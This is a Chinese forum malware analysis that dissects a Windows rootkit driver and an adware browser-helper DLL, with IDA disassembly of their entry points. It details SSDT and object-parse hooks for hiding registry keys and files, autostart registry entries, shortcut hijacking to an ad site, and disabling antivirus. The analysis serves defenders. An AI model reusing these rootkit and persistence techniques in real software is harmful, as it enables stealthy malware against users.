首页
社区
课程
招聘
[原创]一马调试分析之下篇(马说)
2012-2-28 23:46 9865

[原创]一马调试分析之下篇(马说)

2012-2-28 23:46
9865
第一部分:猥缩的驱动
技术亮点:
1、得到“处女之身”,(在女人心中第1个男人永远会记得),主要目的是为了使自己挂钩原始的东西,sub_148a8()获取ntoskrnl的文件地址(ZwQuerySystemInformation),sub_11c78将ntoskrnl文件映身入内存,sub_136b6()找到原始SSDT偏移,sub_11338()手动重定位从而找到原始地址。具体实现可以看一下。原始的SSDT的函数地址。
2、大玩“躲猫猫”,创建服务,实施“乾坤大挪移”修改文件名,躲猫猫之对象HOOK \REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES的ParseProcedure CmParseKey实现注册表隐藏。
   IoDeviceObjctType的IopParseDevice,实现文件保护。(ObRefernceObjectByHandle)。

DriverEntry ===>
主要流程:
    1、通过与"System"比较,确定进程名在PEB中的偏移(因为加载驱动时进程是System,这样做实际上是因为不同操作系统偏移位置不同)
    2、解密字符串
    3、获取所需的函数的地址
    4、调用DriverReinitializationRoutine,开始猥缩的操作

流程4:DriverReinitializationRoutine ===>
    1、测试打开"\SystemRoot"(这个应该是测试文件系统是否初始化完毕)
      1-1、打开失败,使用IoRegisterDriverReinitialization从而转到1.
      1-2、打开成功,进入sub_16BFE()。

流程4 ==> 流程1-2:sub_16BFE() ===>
     1、解密字符串
     2、获得原始SSDT,以获取原始函数的地址(内核本就是兵家必争之地,极可能不是“处女之身”了,可见作者也明白这道理)
        2-1、获取失败,还是用别人搞了的函数,避免操作失败
     3、sub_1132A(),调用PsSetCreateProcessNotifyRoutine注册进程回调,在回调中进行各种XX操作,回调例程为sub_108B8
     4、sub_16BD2(),调用sub_1575C(),查找NtSetValueKey及NtDeleteKey中对ObReferenceObjectByHandle的调用。
         4-1、如果找到则对NtSetValueKey及NtDeleteKey中对ObReferenceObjectByHandle的调用进行Inlie HOOK,Inline后分别对应调用sub_157F0()及sub_15824()
         4-2、如果没找到则直接SSDT HOOK NtDeleteKey
     5、sub_16AF2(),创建服务,实施“乾坤大挪移”修改文件名,对键HOOK \REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES CmParseKey,以实现对服务的隐藏。
     6、sub_10DE4(),HOOK IoDeviceObjctType的IopParseDevice,实现文件保护.

(PS,获取原始SSDT中,原始函数的地址,主要是通过读取ntoskrnl文件中原始SSDT的值)

流程4 ==> 流程1-2 ==> 流程3:回调流程sub_108B8() ===>
     这个例程分别对userinit.exe、explorer.exe、rundll32.exe、iexplorer.exe进行不同的处理,实际上都是一些注册表的操作,主要是实现应用层的DLL起动,注册为IE的加载项,以便随同IE一起加载
     1、case userinit:   写入\registry\machine\software\microsoft\windows\currentversion\runonce的键unfd,
                         对应的值为%systemroot%\system32\rundll32.exe %systemroot%\system32\zuefhm.dll,DllRegisterServer"
     2、case explorer:   一些注册表查询设置操作,这里注册表操作较多,有兴趣自己可以跟一下,小弟简单列一下,有下面的这些键
                         \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command
                         \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0DDF3C19-E692-22D2-AB05-11AA44BDD685}\Shell\Open\Command
                         \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu
                         \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel
                         \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\REGISTRY\USER\S-1-5-21-823518204-1336601894-1417001333-                         500\Software\Microsoft\Internet Explorer\Main
                         \REGISTRY\USER\S-1-5-21-823518204-1336601894-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons                                          \ClassicStartMenu\REGISTRY\USER\S-1-5-21-823518204-1336601894-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer                         \HideDesktopIcons\NewStartPanel
                         \REGISTRY\USER\S-1-5-21-823518204-1336601894-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer \REGISTRY\USER\S-1-5-                                 21-823518204-1336601894-1417001333-500\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace
     3、case rundll32:   判断其父进程是否是ExpLorer.exe
     4、case iexplorer:  进行一些计时操作
看一下对应几次解密后分别对应如下几图:



我们再来看一下HOOK NtDeleteValueKey中对ObReferenceObjectByHandle的调用前如下图:

HOOK前查找NtSetValueKey中对ObReferenceObjectByHandle的调用前如下图:

再来看一下HOOK NtDeleteValueKey、NtSetValueKey后如下图:


看一下\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES的ParseProcedure CmParseKey被HOOK前:

对比下\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES的ParseProcedure CmParseKey被HOOK后:


再来看下代码:
看一下DriverEntry
INIT:00019380     ; NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
INIT:00019380                     public DriverEntry
INIT:00019380     DriverEntry     proc near
INIT:00019380
INIT:00019380     SymbolicLinkName= UNICODE_STRING ptr -14h
INIT:00019380     DestinationString= UNICODE_STRING ptr -0Ch
INIT:00019380     DeviceObject    = dword ptr -4
INIT:00019380     DriverObject    = dword ptr  8
INIT:00019380     RegistryPath    = dword ptr  0Ch
INIT:00019380
INIT:00019380 000                 push    ebp
INIT:00019381 004                 mov     ebp, esp
INIT:00019383 004                 sub     esp, 14h
INIT:00019386 018                 push    ebx
INIT:00019387 01C                 push    esi
INIT:00019388 020                 push    edi
INIT:00019389 024                 push    edx
INIT:0001938A 028                 inc     dl
INIT:0001938C 028                 or      dh, dl
INIT:0001938E 028                 and     edx, ebx
INIT:00019390 028                 test    ah, dh
INIT:00019392 028                 and     dh, 5Eh
INIT:00019395 028                 pop     edx
INIT:00019396 024                 push    [ebp+RegistryPath]
INIT:00019399 028                 call    sub_19260
INIT:0001939E 024                 push    ecx
INIT:0001939F 028                 push    bx
INIT:000193A1 02A                 test    cx, cx
INIT:000193A4 02A                 sub     cx, si
INIT:000193A7 02A                 mov     cx, 1DD6h
INIT:000193AB 02A                 mov     bh, 68h
INIT:000193AD 02A                 xor     cl, bl
INIT:000193AF 02A                 or      ecx, 3F17h
INIT:000193B5 02A                 and     bh, dh
INIT:000193B7 02A                 pop     bx
INIT:000193B9 028                 pop     ecx
INIT:000193BA 024                 xor     eax, eax
INIT:000193BC 024                 cmp     g_ImageFileNameOffset, eax
INIT:000193C2 024                 jnz     short loc_193DD
INIT:000193C4 024                 push    eax
INIT:000193C5 028                 push    eax
INIT:000193C6 02C                 call    sub_192A0
INIT:000193CB 024                 push    eax
INIT:000193CC 028                 push    edx
INIT:000193CD 02C                 push    di
INIT:000193CF 02E                 sub     eax, 0DCCh
INIT:000193D4 02E                 pop     di
INIT:000193D6 02C                 pop     edx
INIT:000193D7 028                 pop     eax
INIT:000193D8 024                 jmp     loc_194A4
INIT:000193DD     ; ---------------------------------------------------------------------------
INIT:000193DD
INIT:000193DD     loc_193DD:                              ; CODE XREF: DriverEntry+42j
INIT:000193DD 024                 push    edi
INIT:000193DE 028                 test    eax, edi
INIT:000193E0 028                 pop     edi
INIT:000193E1 024                 call    near ptr DecodeAllStr
INIT:000193E6 024                 pusha
INIT:000193E7 044                 inc     al
INIT:000193E9 044                 and     dl, bl
INIT:000193EB 044                 or      dx, ax
INIT:000193EE 044                 and     dx, 463Eh
INIT:000193F3 044                 test    dl, 63h
INIT:000193F6 044                 xor     ax, cx
INIT:000193F9 044                 inc     dl
INIT:000193FB 044                 popa
INIT:000193FC 024                 lea     eax, [ebp+DestinationString]
INIT:000193FF 024                 push    offset g_device_ksdrv ; SourceString
INIT:00019404 028                 push    eax             ; DestinationString
INIT:00019405 02C                 call    ds:RtlInitUnicodeString
INIT:0001940B 024                 pushaw
INIT:0001940D 034                 push    edx
INIT:0001940E 038                 test    bx, 1458h
INIT:00019413 038                 or      ax, di
INIT:00019416 038                 add     bh, ch
INIT:00019418 038                 test    bh, al
INIT:0001941A 038                 pop     edx
INIT:0001941B 034                 popaw
INIT:0001941D 024                 lea     eax, [ebp+DeviceObject]
INIT:00019420 024                 xor     esi, esi
INIT:00019422 024                 push    eax             ; DeviceObject
INIT:00019423 028                 push    esi             ; Exclusive
INIT:00019424 02C                 push    esi             ; DeviceCharacteristics
INIT:00019425 030                 lea     eax, [ebp+DestinationString]
INIT:00019428 030                 push    8000h           ; DeviceType
INIT:0001942D 034                 push    eax             ; DeviceName
INIT:0001942E 038                 push    esi             ; DeviceExtensionSize
INIT:0001942F 03C                 push    [ebp+DriverObject] ; DriverObject
INIT:00019432 040                 call    ds:IoCreateDevice
INIT:00019438 024                 cmp     eax, esi
INIT:0001943A 024                 jl      loc_194ED
INIT:00019440 024                 push    ecx
INIT:00019441 028                 push    edx
INIT:00019442 02C                 push    edi
INIT:00019443 030                 test    cx, cx
INIT:00019446 030                 xor     dl, 57h
INIT:00019449 030                 inc     edi
INIT:0001944A 030                 or      ch, 6Fh
INIT:0001944D 030                 pop     edi
INIT:0001944E 02C                 pop     edx
INIT:0001944F 028                 pop     ecx
INIT:00019450 024                 lea     eax, [ebp+SymbolicLinkName]
INIT:00019453 024                 push    offset g_dosdevice_ksdrv ; SourceString
INIT:00019458 028                 push    eax             ; DestinationString
INIT:00019459 02C                 call    ds:RtlInitUnicodeString
INIT:0001945F 024                 push    ebx
INIT:00019460 028                 push    edx
INIT:00019461 02C                 mov     bh, 64h
INIT:00019463 02C                 pop     edx
INIT:00019464 028                 pop     ebx
INIT:00019465 024                 lea     eax, [ebp+DestinationString]
INIT:00019468 024                 push    eax             ; DeviceName
INIT:00019469 028                 lea     eax, [ebp+SymbolicLinkName]
INIT:0001946C 028                 push    eax             ; SymbolicLinkName
INIT:0001946D 02C                 call    ds:IoCreateSymbolicLink
INIT:00019473 024                 cmp     eax, esi
INIT:00019475 024                 mov     [ebp+RegistryPath], eax
INIT:00019478 024                 jge     short loc_19485
INIT:0001947A 024                 push    [ebp+DeviceObject] ; DeviceObject
INIT:0001947D 028                 call    ds:IoDeleteDevice
INIT:00019483 024                 jmp     short loc_194EA
INIT:00019485     ; ---------------------------------------------------------------------------
INIT:00019485
INIT:00019485     loc_19485:                              ; CODE XREF: DriverEntry+F8j
INIT:00019485 024                 pusha
INIT:00019486 044                 inc     al
INIT:00019488 044                 and     dl, bl
INIT:0001948A 044                 or      dx, ax
INIT:0001948D 044                 and     dx, 463Eh
INIT:00019492 044                 test    dl, 63h
INIT:00019495 044                 xor     ax, cx
INIT:00019498 044                 inc     dl
INIT:0001949A 044                 popa
INIT:0001949B 024                 call    GetNeedSystemRootine
INIT:000194A0 024                 test    al, al
INIT:000194A2 024                 jnz     short loc_194AB
INIT:000194A4
INIT:000194A4     loc_194A4:                              ; CODE XREF: DriverEntry+58j
INIT:000194A4 024                 mov     eax, 0C0000001h
INIT:000194A9 024                 jmp     short loc_194ED
INIT:000194AB     ; ---------------------------------------------------------------------------
INIT:000194AB
INIT:000194AB     loc_194AB:                              ; CODE XREF: DriverEntry+122j
INIT:000194AB 024                 push    cx
INIT:000194AD 026                 push    edx
INIT:000194AE 02A                 sub     dh, al
INIT:000194B0 02A                 add     cx, dx
INIT:000194B3 02A                 inc     cl
INIT:000194B5 02A                 test    ah, cl
INIT:000194B7 02A                 inc     ch
INIT:000194B9 02A                 or      dx, bx
INIT:000194BC 02A                 inc     cx
INIT:000194BE 02A                 xor     dx, dx
INIT:000194C1 02A                 xor     cl, bh
INIT:000194C3 02A                 pop     edx
INIT:000194C4 026                 pop     cx
INIT:000194C6 024                 mov     eax, [ebp+DriverObject]
INIT:000194C9 024                 mov     dword ptr [eax+38h], offset sub_16CD4
INIT:000194D0 024                 push    ecx
INIT:000194D1 028                 push    edx
INIT:000194D2 02C                 push    edi
INIT:000194D3 030                 test    cx, cx
INIT:000194D6 030                 xor     dl, 57h
INIT:000194D9 030                 inc     edi
INIT:000194DA 030                 or      ch, 6Fh
INIT:000194DD 030                 pop     edi
INIT:000194DE 02C                 pop     edx
INIT:000194DF 028                 pop     ecx
INIT:000194E0 024                 push    0               ; ULONG
INIT:000194E2 028                 push    0               ; PVOID
INIT:000194E4 02C                 push    eax             ; struct _DRIVER_OBJECT *
INIT:000194E5 030                 call    DriverReinitializationRoutine
INIT:000194EA
INIT:000194EA     loc_194EA:                              ; CODE XREF: DriverEntry+103j
INIT:000194EA 024                 mov     eax, [ebp+RegistryPath]
INIT:000194ED
INIT:000194ED     loc_194ED:                              ; CODE XREF: DriverEntry+BAj
INIT:000194ED                                             ; DriverEntry+129j
INIT:000194ED 024                 pop     edi
INIT:000194EE 020                 pop     esi
INIT:000194EF 01C                 pop     ebx
INIT:000194F0 018                 leave
INIT:000194F1 000                 retn    8
INIT:000194F1     DriverEntry     endp


进程通知回调处理例程:
.text:000108B8       ; double __stdcall sub_108B8(int ParentId, int pid, char bCreate)
.text:000108B8       sub_108B8       proc near               ; DATA XREF: sub_1132A+2o
.text:000108B8
.text:000108B8       var_10          = byte ptr -10h
.text:000108B8       var_F           = byte ptr -0Fh
.text:000108B8       ParentId        = dword ptr  8
.text:000108B8       pid             = dword ptr  0Ch
.text:000108B8       bCreate         = dword ptr  10h
.text:000108B8
.text:000108B8 0 000                 push    ebp
.text:000108B9 0 004                 mov     ebp, esp
.text:000108BB 0 004                 sub     esp, 10h
.text:000108BE 0 014                 push    ebx
.text:000108BF 0 018                 push    esi
.text:000108C0 0 01C                 push    edi
.text:000108C1 0 020                 xor     ebx, ebx
.text:000108C3 0 020                 xor     eax, eax
.text:000108C5 0 020                 lea     edi, [ebp+var_F]
.text:000108C8 0 020                 mov     [ebp+var_10], bl
.text:000108CB 0 020                 cmp     byte ptr [ebp+bCreate], bl
.text:000108CE 0 020                 stosd
.text:000108CF 0 020                 stosd
.text:000108D0 0 020                 stosd
.text:000108D1 0 020                 stosw
.text:000108D3 0 020                 stosb
.text:000108D4 0 020                 jz      loc_10A7D
.text:000108DA 0 020                 cmp     [ebp+pid], 14h
.text:000108DE 0 020                 jb      loc_10A7D
.text:000108E4 0 020                 cmp     g_ImageFileNameOffset, ebx
.text:000108EA 0 020                 jz      loc_10A7D
.text:000108F0 0 020                 lea     eax, [ebp+var_10]
.text:000108F3 0 020                 push    eax             ; char *
.text:000108F4 0 024                 push    [ebp+pid]       ; int
.text:000108F7 0 028                 call    SearchProccessName
.text:000108FC 0 020                 cmp     eax, ebx
.text:000108FE 0 020                 mov     [ebp+bCreate], eax
.text:00010901 0 020                 jz      loc_10A7D
.text:00010907 0 020                 push    edx
.text:00010908 0 024                 push    edi
.text:00010909 0 028                 or      edx, edx
.text:0001090B 0 028                 mov     dl, ch
.text:0001090D 0 028                 cmp     edx, ecx
.text:0001090F 0 028                 and     edx, eax
.text:00010911 0 028                 pop     edi
.text:00010912 0 024                 pop     edx
.text:00010913 0 020                 mov     esi, ds:_stricmp
.text:00010919 0 020                 lea     eax, [ebp+var_10]
.text:0001091C 0 020                 push    offset g_userinit ; "9UT瞋#Q"
.text:00010921 0 024                 push    eax             ; char *
.text:00010922 0 028                 call    esi ; _stricmp
.text:00010924 0 028                 pop     ecx
.text:00010925 0 024                 test    eax, eax
.text:00010927 0 024                 pop     ecx
.text:00010928 0 020                 jnz     short loc_10947
.text:0001092A 0 020                 push    eax
.text:0001092B 0 024                 push    bx
.text:0001092D 0 026                 test    ax, 826h
.text:00010931 0 026                 sub     bl, 12h
.text:00010934 0 026                 test    bx, 3C13h
.text:00010939 0 026                 test    ah, 56h
.text:0001093C 0 026                 cmp     bx, dx
.text:0001093F 0 026                 pop     bx
.text:00010941 0 024                 pop     eax
.text:00010942 0 020                 call    ProcessUserInit
.text:00010947
.text:00010947       loc_10947:                              ; CODE XREF: sub_108B8+70j
.text:00010947 0 020                 push    ax
.text:00010949 0 022                 push    cx
.text:0001094B 0 024                 push    edi
.text:0001094C 0 028                 and     al, dl
.text:0001094E 0 028                 or      ch, 3Ah
.text:00010951 0 028                 dec     edi
.text:00010952 0 028                 inc     edi
.text:00010953 0 028                 cmp     ah, bl
.text:00010955 0 028                 xor     ax, ax
.text:00010958 0 028                 cmp     cl, dl
.text:0001095A 0 028                 dec     cl
.text:0001095C 0 028                 pop     edi
.text:0001095D 0 024                 pop     cx
.text:0001095F 0 022                 pop     ax
.text:00010961 0 020                 lea     eax, [ebp+var_10]
.text:00010964 0 020                 push    offset g_explorer_exe ; ")^A琘?]\n?^T?
.text:00010969 0 024                 push    eax             ; char *
.text:0001096A 0 028                 call    esi ; _stricmp
.text:0001096C 0 028                 pop     ecx
.text:0001096D 0 024                 test    eax, eax
.text:0001096F 0 024                 pop     ecx
.text:00010970 0 020                 jnz     loc_10A24
.text:00010976 0 020                 cmp     g_bFirstExplorer, al
.text:0001097C 0 020                 jnz     loc_10A24
.text:00010982 0 020                 push    ebx
.text:00010983 0 024                 add     bx, ax
.text:00010986 0 024                 mov     bx, 6602h
.text:0001098A
.text:0001098A       loc_1098A:
.text:0001098A 0 024                 and     bh, dl
.text:0001098C 0 024                 pop     ebx
.text:0001098D 0 020                 push    [ebp+bCreate]
.text:00010990 0 024                 call    ProcessExplorer1
.text:00010995 0 020                 test    eax, eax
.text:00010997 0 020                 jl      loc_10A24
.text:0001099D 0 020                 jbe     loc_109B4
.text:000109A3 0 020                 push    eax
.text:000109A4 0 024                 pop     eax
.text:000109A5 0 020                 ja      loc_109B4
.text:000109AB 0 020                 pop     esi
.text:000109AC 0 01C                 fisubr  dword ptr [ecx+7A96ED64h]
.text:000109B2                       db      26h
.text:000109B2 0 01C                 dec     esp
.text:000109B4
.text:000109B4       loc_109B4:                              ; CODE XREF: sub_108B8+E5j
.text:000109B4                                               ; sub_108B8+EDj
.text:000109B4 0 01C                 mov     g_bFirstExplorer, 1
.text:000109BB 0 01C                 jbe     loc_109DD
.text:000109C1 0 01C                 push    si
.text:000109C3 0 01E                 mov     si, 5C11h
.text:000109C7 0 01E                 pop     si
.text:000109C9 0 01C                 ja      loc_109DD
.text:000109C9       ; ---------------------------------------------------------------------------
.text:000109CF 0 01C unk_109CF       db  70h ; p
.text:000109D0 0 01C                 db 0BAh ; ?
.text:000109D1 0 01C                 db  0Eh
.text:000109D2 0 01C                 dw 8D67h
.text:000109D4 0 01C                 dd 3557B8FDh, 0CBA2EED7h
.text:000109DC 0 01C                 db 0F3h
.text:000109DD       ; ---------------------------------------------------------------------------
.text:000109DD
.text:000109DD       loc_109DD:                              ; CODE XREF: sub_108B8+103j
.text:000109DD                                               ; sub_108B8+111j
.text:000109DD 0 01C                 mov     b_FinishRegClsid, 1
.text:000109E4 0 01C                 jp      short loc_109FB
.text:000109E6 0 01C                 push    edi
.text:000109E7 0 020                 mov     di, 0B224h
.text:000109EB 0 020                 pop     edi
.text:000109EC 0 01C                 jnp     short loc_109FB
.text:000109EE 0 01C                 xchg    eax, edx
.text:000109EF 0 01C                 clc
.text:000109F0 0 01C                 mov     esi, 34A96CF4h
.text:000109F5 0 01C                 inc     eax
.text:000109F5       ; ---------------------------------------------------------------------------
.text:000109F6 0 01C unk_109F6       db 0C5h ; ?
.text:000109F7 0 01C                 db  2Dh ; -
.text:000109F8 0 01C                 db  3Ah ; :
.text:000109F9 0 01C                 db 0B4h ; ?
.text:000109FA 0 01C                 db  17h
.text:000109FB       ; ---------------------------------------------------------------------------
.text:000109FB
.text:000109FB       loc_109FB:                              ; CODE XREF: sub_108B8+12Cj
.text:000109FB                                               ; sub_108B8+134j
.text:000109FB 0 01C                 call    ProcessExploerer2
.text:00010A00 0 01C                 pusha
.text:00010A01 0 03C                 test    bx, 0A43h
.text:00010A06 0 03C                 cmp     ch, 6Eh
.text:00010A09 0 03C                 sub     ch, bl
.text:00010A0B 0 03C                 cmp     dx, 7A98h
.text:00010A10 0 03C                 sub     ecx, edx
.text:00010A12 0 03C                 popa
.text:00010A13 0 01C                 push    dword_19178
.text:00010A19 0 020                 call    ProcessExploerer3
.text:00010A1E 0 01C                 mov     esi, ds:_stricmp
.text:00010A24
.text:00010A24       loc_10A24:                              ; CODE XREF: sub_108B8+B8j
.text:00010A24                                               ; sub_108B8+C4j ...
.text:00010A24 0 01C                 push    eax
.text:00010A25 0 020                 xor     ax, bx
.text:00010A28 0 020                 pop     eax
.text:00010A29 0 01C                 lea     eax, [ebp+var_10]
.text:00010A2C 0 01C                 push    offset g_aRundll32_exe ; char *
.text:00010A31 0 020                 push    eax             ; char *
.text:00010A32 0 024                 call    esi ; _stricmp
.text:00010A34 0 024                 pop     ecx
.text:00010A35 0 020                 test    eax, eax
.text:00010A37 0 020                 pop     ecx
.text:00010A38 0 01C                 jnz     short loc_10A4A
.text:00010A3A 0 01C                 cmp     g_bFirstExplorer, al
.text:00010A40 0 01C                 jz      short loc_10A4A
.text:00010A42 0 01C                 push    [ebp+ParentId]
.text:00010A45 0 020                 call    ProcessRundll32
.text:00010A4A
.text:00010A4A       loc_10A4A:                              ; CODE XREF: sub_108B8+180j
.text:00010A4A                                               ; sub_108B8+188j
.text:00010A4A 0 01C                 jo      short loc_10A62
.text:00010A4C 0 01C                 push    esi
.text:00010A4D 0 020                 mov     esi, 387EF7E0h
.text:00010A52 0 020                 pop     esi
.text:00010A53 0 01C                 jno     short loc_10A62
.text:00010A53       ; ---------------------------------------------------------------------------
.text:00010A55 0 01C byte_10A55      db 0C6h, 71h, 7Dh
.text:00010A58 0 01C                 dd 21D7221Dh, 0C0FF8AF7h
.text:00010A60 0 01C                 db 0Dh, 0A7h
.text:00010A62       ; ---------------------------------------------------------------------------
.text:00010A62
.text:00010A62       loc_10A62:                              ; CODE XREF: sub_108B8:loc_10A4Aj
.text:00010A62                                               ; sub_108B8+19Bj
.text:00010A62 0 01C                 lea     eax, [ebp+var_10]
.text:00010A65 0 01C                 push    offset g_aIEXPLORE_EXE ; char *
.text:00010A6A 0 020                 push    eax             ; char *
.text:00010A6B 0 024                 call    esi ; _stricmp
.text:00010A6D 0 024                 pop     ecx
.text:00010A6E 0 020                 test    eax, eax
.text:00010A70 0 020                 pop     ecx
.text:00010A71 0 01C                 jnz     short loc_10A7D
.text:00010A73 0 01C                 push    offset dword_19170
.text:00010A78 0 020                 call    ProcessIexplorer
.text:00010A7D
.text:00010A7D       loc_10A7D:                              ; CODE XREF: sub_108B8+1Cj
.text:00010A7D                                               ; sub_108B8+26j ...
.text:00010A7D 0 01C                 pop     edi
.text:00010A7E 0 018                 pop     esi
.text:00010A7F 0 014                 pop     ebx
.text:00010A80 0 010                 leave
.text:00010A81 0 000                 retn    0Ch
.text:00010A81       sub_108B8       endp ; sp-analysis failed

OK到此这个驱动也被完全解析了。

第二部分:上层应用
无技术亮点,可以看出作者的SHELL编程熟悉而已。

前面驱动中我们注意到驱动写注册表实现应用层启动了,我们就来看下这个启动部分。
DllRegisterServer()主要流程
1、sub_10005059()、sub_10003F54()进行字符串解密
2、sub_1000268F()对CISDL_COMMON_DESKTOPDIRECTORY、CISDL_DESKTOPDIRECTORY、CISDL_APPDATA这几个目录的lnk文件
   进行排除异己与偷天换日
3、一些注册表的操作,主要是将自己注册为BHO,以便随IE一起启动(创建键HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\
{7BA438C-6BE5-4F3C-980B-CEB48A77413} 键NoExplerer 值为1,创建键HKCR\CLSID\{7BA438C-6BE5-4F3C-980B-CEB48A77413}\InProcServer32 键Default 值为DLL路径)
4、sub_10003C0B断掉Kingsoft生路,删除HKLM\SYSTEM\CurrntControlSet\King Soft Antiviurs WebShield Service",
   读取Kingsoft\kws\spitesp.dat文件,小弟就不去细看这个了。

关于lnk文件排除异已与偷天换日
CISDL_COMMON_DESKTOPDIRECTORY(AllUser桌面)
CISDL_DESKTOPDIRECTORY(当前用户桌面),CISDL_APPDATA(就是当前用户Application Data目录)

sub_1000268F() 之排除异已
干掉代有如下字符串的lnk文件
1000A548  internet....explorer....internat....explorar....internat....expl
1000A588  orar
干掉带有"网址"、"导航"、"首页"的URL文件。
干掉带有"Internet.exe"字符串的文件

sub_10005EF1()之偷天换日,
发现如果为以下程序打开的快捷方式,
1000A048  IEXPLORE.EXE
1000A470  360SE.exe...Maxthon.exe.TTravele
1000A490  r.exe...TheWorld.exe....SogouExp
1000A4B0  lorer.exe...tango3.exe
如果快捷方式打开的网站不为:
1000A084  go2000.cn...go2000.com..qq5.com.1188.com....365j.com....qu123.co
1000A0C4  m...1188.net....qu163.net...t7t7.net....tt265.net...pp1234.net..
1000A104  hao455.com..111hao.com..abc866.com..abc877.com..pp1234.cn...kk22
1000A144  33.com..5566kk.com..6655kk.com..ttt2345.com.tt7788.com..pp1188.c
1000A184  om..88498.com...63511.com...189d.com....rr55.com....2345p.com...
1000A1C4  52ee.com....8ff.net.bbyy.net....t2t2.net....go3000.net..9.9.9.7.
1000A204  7.7...n.e.t.....9.7.1.9.9...c.o.m
则替换为
http://www.4455abc.com
其它有一些对抗性的东西(safemon.dll 360、kswebshield.dll KINGSOFT),有兴趣的可以自己分析下
,在注册为BHO后,随IE一起启动后就用WININET实现刷广告而已,小弟就没细看了,当然有兴趣你可以细看,
也可以用工具看看(这就是所谓的病毒木马分析没技术含量了)。

看一下解后的字符串图:


看一下代码,我们来看一下主流程:
text:10007CF3     ; HRESULT __stdcall DllRegisterServer()
.text:10007CF3                     public DllRegisterServer
.text:10007CF3     DllRegisterServer proc near             ; DATA XREF: .rdata:off_10009C38o
.text:10007CF3
.text:10007CF3     Dest            = byte ptr -104h
.text:10007CF3     var_103         = byte ptr -103h
.text:10007CF3
.text:10007CF3 000                 push    ebp
.text:10007CF4 004                 mov     ebp, esp
.text:10007CF6 004                 sub     esp, 104h
.text:10007CFC 108                 push    ebx
.text:10007CFD 10C                 push    esi
.text:10007CFE 110                 push    edi
.text:10007CFF 114                 pusha
.text:10007D00 134                 inc     si
.text:10007D02 134                 dec     dh
.text:10007D04 134                 cmp     al, bl
.text:10007D06 134                 and     ah, 4Dh
.text:10007D09 134                 or      dl, 4Dh
.text:10007D0C 134                 sub     si, si
.text:10007D0F 134                 popa
.text:10007D10 114                 call    near ptr sub_10005059
.text:10007D15 114                 push    ebx
.text:10007D16 118                 cmp     ebx, esi
.text:10007D18 118                 sub     ebx, 6895h
.text:10007D1E 118                 sub     ebx, 50E0h
.text:10007D24 118                 mov     bx, 26CAh
.text:10007D28 118                 xor     bl, al
.text:10007D2A 118                 pop     ebx
.text:10007D2B 114                 call    near ptr sub_10003F54
.text:10007D30 114                 pusha
.text:10007D31 134                 inc     si
.text:10007D33 134                 dec     dh
.text:10007D35 134                 cmp     al, bl
.text:10007D37 134                 and     ah, 4Dh
.text:10007D3A 134                 or      dl, 4Dh
.text:10007D3D 134                 sub     si, si
.text:10007D40 134                 popa
.text:10007D41 114                 xor     ebx, ebx
.text:10007D43 114                 push    ebx
.text:10007D44 118                 push    19h
.text:10007D46 11C                 call    sub_1000268F
.text:10007D4B 11C                 pop     ecx
.text:10007D4C 118                 pop     ecx
.text:10007D4D 114                 push    eax
.text:10007D4E 118                 xor     ax, bx
.text:10007D51 118                 pop     eax
.text:10007D52 114                 push    ebx
.text:10007D53 118                 push    10h
.text:10007D55 11C                 call    sub_1000268F
.text:10007D5A 11C                 jb      short loc_10007D73
.text:10007D5C 11C                 push    edx
.text:10007D5D 120                 mov     dx, 0ECD6h
.text:10007D61 120                 pop     edx
.text:10007D62 11C                 jnb     short loc_10007D73
.text:10007D64 11C                 cmc
.text:10007D65 11C                 adc     eax, 7C8ECB0Dh
.text:10007D65     ; ---------------------------------------------------------------------------
.text:10007D6A 11C unk_10007D6A    db  81h ; ?
.text:10007D6B 11C                 db 0B6h ; ?
.text:10007D6C 11C                 db  3Ah ; :
.text:10007D6D 11C                 db  77h ; w
.text:10007D6E 11C                 db 0D1h ; ?
.text:10007D6F 11C                 db  43h ; C
.text:10007D70 11C                 db  5Eh ; ^
.text:10007D71 11C                 db 0E9h ; ?
.text:10007D72 11C                 db  27h ; '
.text:10007D73     ; ---------------------------------------------------------------------------
.text:10007D73
.text:10007D73     loc_10007D73:                           ; CODE XREF: DllRegisterServer+67j
.text:10007D73                                             ; DllRegisterServer+6Fj
.text:10007D73 11C                 push    offset unk_1000A4EC
.text:10007D78 120                 push    1Ah
.text:10007D7A 124                 call    sub_1000268F
.text:10007D7F 124                 add     esp, 10h
.text:10007D82 114                 push    ecx
.text:10007D83 118                 dec     ecx
.text:10007D84 118                 and     cx, di
.text:10007D87 118                 or      cx, 61BEh
.text:10007D8C 118                 pop     ecx
.text:10007D8D 114                 push    40h
.text:10007D8F 118                 xor     eax, eax
.text:10007D91 118                 pop     ecx
.text:10007D92 114                 lea     edi, [ebp+var_103]
.text:10007D98 114                 mov     [ebp+Dest], bl
.text:10007D9E 114                 push    offset unk_1000A41C
.text:10007DA3 118                 rep stosd
.text:10007DA5 118                 stosw
.text:10007DA7 118                 stosb
.text:10007DA8 118                 push    offset unk_1000A3E8
.text:10007DAD 11C                 lea     eax, [ebp+Dest]
.text:10007DB3 11C                 push    offset Format   ; ">坥旊?
.text:10007DB8 120                 push    eax             ; Dest
.text:10007DB9 124                 call    ds:sprintf
.text:10007DBF 124                 add     esp, 10h
.text:10007DC2 114                 pusha
.text:10007DC3 134                 inc     si
.text:10007DC5 134                 dec     dh
.text:10007DC7 134                 cmp     al, bl
.text:10007DC9 134                 and     ah, 4Dh
.text:10007DCC 134                 or      dl, 4Dh
.text:10007DCF 134                 sub     si, si
.text:10007DD2 134                 popa
